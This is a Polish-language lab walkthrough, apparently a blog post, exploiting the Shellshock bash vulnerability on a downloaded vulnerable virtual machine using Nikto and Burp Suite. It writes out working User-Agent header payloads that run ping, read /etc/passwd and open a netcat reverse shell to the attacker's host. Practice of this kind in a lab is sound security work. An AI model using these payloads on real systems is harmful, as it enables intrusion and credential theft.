shellshock

Działanie

Shellshock korzysta z nagłówków HTTP jak i innych mechanizmów, aby umożliwić nieautoryzowany dostęp do powłoki systemowej bash. Pozwala to atakującemu na zdalne wykonywanie komend. Jest to podatność arbitrary code execution.


Nie będę tutaj opisywał jak skonfigurować przeglądarkę, BurpSuite czy Kali Linuxa. Zakładam, że masz już podstawową wiedzę na ten temat. W internecie znajdziesz niezliczoną ilość poradników jak przygotować sobie środowisko.

Stronę zadania znajdziesz tutaj.

Pobierz obraz podatnego systemu i uruchom go np. za pomocą VMWare czy VirtualBox.

[download id=”2″]

Po uruchomieniu systemu operacyjnego naszego celu sprawdź jego adres IP

ifconfig

W moim przypadku jest to 192.168.255.131

cve

 Nikto

Uruchom skaner podatności Nikto

nikto -h http://192.168.255.131/

Jak widzimy wykrył on podatność shellshock.

nikto

BurpSuite

Za pomocą BurpSuite przechwyć żądanie do naszego celu otwierając w przeglądarce podatną stronę.

burp

Wciśnij Action a następnie Send to Repeater. W linijce User-Agent zamień aktualną zawartość na

User-Agent: () { :; }; /bin/bash -c 'ping -c 2 192.168.255.150'

gdzie 192.168.255.150 to nasz adres IP.

 () { :; } - exploit
 /bin/bash - powłoka basha
 ping -c 2 192.168.255.150 - wysłanie dwóch komunikatów ICMP na naszą maszynę

 

burp2

 

Otwórz konsolę i włącz nasłuchiwanie, aby wykryć pingi

tcpdump -i eth0 -n icmp

Wyślij żądanie wciskając przycisk Go i obserwuj komunikaty w konsoli. Jak widzimy udało nam się zmusić cel do wysłania pingów na maszynę atakującego.

burp3

Spróbujmy zrobić coś groźniejszego niż pingowanie (chociaż nie lekceważ pingu, można go wykorzystać do ataku DoS / DDoS). Wyświetlmy zawartość pliku /etc/passwd. Zmodyfikujmy ponownie linijkę z identyfikatorem przeglądarki

User-Agent: () { :; }; /bin/bash -c 'ping -c 2 192.168.255.130; cat /etc/passwd; whoami'

shellshock2

Reverse Shellshock

Na maszynie atakującego uruchom nasłuchiwanie na porcie 1234

nc -lvp 1234

W Burpie zmodyfikuj nagłówek aby serwer połączył się z atakującym na porcie 1234

User-Agent: () { :; }; /bin/bash -c 'nc 192.168.255.130 1234 -e /bin/sh'

burp5

Nie mieliśmy z góry ustalonego celu w postaci na przykład zdobycia flagi więc można w tym momencie uznać zadanie za zakończone.

ZOSTAW ODPOWIEDŹ

Please enter your comment!
Please enter your name here